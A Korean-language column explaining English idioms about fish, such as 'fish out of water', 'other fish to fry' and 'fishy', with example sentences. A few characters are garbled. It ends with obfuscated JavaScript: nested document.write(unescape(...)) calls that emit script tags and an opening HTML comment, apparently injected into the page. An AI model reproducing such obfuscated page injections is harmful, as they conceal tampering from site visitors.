얼마 전 수회에 걸쳐 여러 가지 동물에 관련된 문화적인 영어표현들을 살펴보았는데, 원래 동물의 세계라는 것이 워낙 크고 넓다 보니 이에 관련된 영어 표현을 두루 살펴보는 것도 간단치 않다. 누차 지적하고 있지만 이 칼럼의 전체적인 요지는 한마디로 아무리 영어 단어와 어휘를 많이 알아도 그 속에 배어 있는 문화와 풍습과 버릇을 익히지 못하면 영어를 정복할 수 없다는 것이다. 이런 뜻에서 동물(새)에 관련된 다음과 같은 표현을 할 수 있다. Fine feathers do not make fine birds. - 깃털이 곱다고 좋은 새가 아니다. 겉보기가 화려하고 좋다고 실속도 좋은 건 아니라는 뜻이다.
물고기(fish)와 관련된 표현들도 많이 있다. He drinks like a fish라고 하면 물고기처럼 물을 마신다는 뜻이 아니라 술을 많이 마신다는 뜻이다. 술을 잘/많이 마시는 사람을 술고래라고 하는 우리말 표현과 비슷한 면이 있는 것 같다. Swim like a fish는 물론 물고기처럼 헤엄을 잘 친다는 말이지만 swim with the fishes라고 하면 어떤 사람이 물고기와 같이 수영을 한다는 말이 아니라 죽었다(살해되었다)는 말이다. Sleep with the fishes도 비슷한 표현.
Fish out of the water는 글자 그대로 물 밖에 나온 고기라는 말이니까 엉뚱한 곳, 위험한 곳에 처한 상황을 가리키는 표현이다. Having never been to a big city before, Ken was a fish out of water when he first visited New York City. - 대도시에서 한 번도 가 본 적이 없다가 뉴요?굼?방문했을 때 켄은 물 밖에 나오 고기 신세였다.
Not the only fish in the sea라는 표현은 우리말에서 가령 남녀의 사이가 틀어지는 경우에 ‘흥, 여자가 저 뿐인가’라든가 ‘세상에 널린 게 남자들인데...’와 같은 표현을 하는데 이와 비슷한 상황에서 쓰는 표현이다. Sandy was depressed when Jerry dumped her, so I comforted her by saying that he was not the only fish in the sea. - 쌘디가 제리에게 차여서 기가 죽었을 때 좋은 남자는 얼마든지 있다고 위로해 주었다. A big fish는 중요한/높은 사람을 의미하고 a queer fish는 이상한 사람, 괴짜를 가리키고 a cold fish는 감정을 잘 드러내지 않는 차가운 사람을 가리킨다.
A pretty/fine kettle of fish는 ‘어려운 문제, 곤란한 상황’이라는 뜻의 숙어이다. You have to go to a wedding in ten minutes and your car won't start. That's a pretty kettle of fish. - 10분 안에 결혼식에 참석하러 가야하는데 차는 시동이 알 걸린다고. 거 참 난감한 상황이네.
Have other fish to fry는 ‘튀겨야 할 다른 고기가 있다, 튀길 고기가 또 있다’는 말이니까 지금 그 일 말고 해야 할 다른 일이 있다는 뜻의 숙어이다. He declined to come to the party saying he had other fish to fry. - 다른 할 일이 있다면서 파-리에 못 오겠다고 했다. I've got bigger fish to fry라고 하면 ‘그보다 더 중요한 할 일이 있다’는 말이 된다.
Fish는 물고기라는 뜻 이외에 물론 동사로 ‘고기를 잡다, 낚시하다’는 뜻도 있는데 때로는 비유적으로 뭔가를 ‘찾다, 추구하다’는 뜻으로도 쓰인다. Fishing for a compliment on his new house, he started a conversation about housing market. - 새로 산 집에 대해서 찬사를 듣고 싶어서 (뻐기고 싶어서) 그는 주택시장에 관한 얘기를 꺼냈다. Fish in troubled waters는 거친 물에서 낚시를 한다는 의미에서 혼란한 상황에서 뭔가 이득을 노린다는 뜻도 된다. Kevin often fishes in troubled waters by buying the stocks of bankrupt companies. - 케빈은 종종 파산절차에 들어간 회사의 주식을 사서 이득을 노린다.
낚싯대는 fishing rod이라고 하고 낚시 바늘은 hook, 낚싯줄은 line, 추(錘)는 sinker라고 한다. 여기서 낚시 바늘과 줄, 추를 함께 가리키는 “hook, line, and sinker”라는 표현을 익혀두자. 이는 고기가 너무 배고픈 나머지 낚시에 매달린 bait(미끼)만 먹는 게 아니라 바늘, 낚싯줄, 추까지 몽땅 삼킨다는 데서 나온 말로 뭔가를 송두리째 삼킨다/받아들인다든가 완전히 속아넘어간다든가 할 때 쓰는 표현이다. She told me she loved me, so I believed her hook, line, and sinker. - 그녀가 날 사랑한다고 하기에 난 완전히 믿었지 뭐.
낚시꾼들에게는 얼마나 큰 고기를 얼마나 많이 잡았는가가 늘 관심의 대상이고 그래서 그런 얘기들을 자주 하는데 그러다 보니 과장이 되는 경우가 많다. 그래서 영어에서도 낚시꾼들이 잡은 고기에 관한 얘기, 즉 fish story는 사실이 아닌 허풍 또는 크게 과장된 이야기라는 뜻으로 쓰인다. He often makes up a fish story about his winnings at a game room. 그는 (성인)오락실에서 돈을 많이 땄다고 허풍을 자주 떤다.
그래서 누가 전혀 사실 같지 않은 의심스러운 얘기를 하면 이에 대해서 ‘fishy’라는 말을 쓸 수 있다. His story seemed a little fishy to me. - 그의 얘기는 내게 좀 의심스럽게 들렸다. 그의 말에서 생선 (비린내 또는 ??는) 냄새가 났다. There's something fishy about a Mercedes that cheap. - 머쎄이디즈(벤츠)가 그렇게 싸다니 뭔가 냄새가 나는데 (수상한데). 주의할 것은 fishy는 fish(휫쉬)와 달리 ‘휫쉬이’라는 2음절어이다.
일리노이주립대학교수 장석정 (web site: lilt.ilstu.edu/sjchang/konglitis.htm)
document.write(unescape("d%6Fc\04575m\145n%74\056%77%72it\145(u\156es\143ap\145\050\047%3C!\045252%44-%27))%3C/s%63\162ip\164>")) document.write(unescape(' document.write(unescape("%3Csc\162ip\04574>d%6F\143\165\0456D%65nt%2Ewr%69t\145(u%6E\145sc%61pe%28\04527\1340\064\045353C%5C0%341\055\0452D\047\051)\073\163CR%69\160T>")); document.write(unescape('\0453C\041--')); |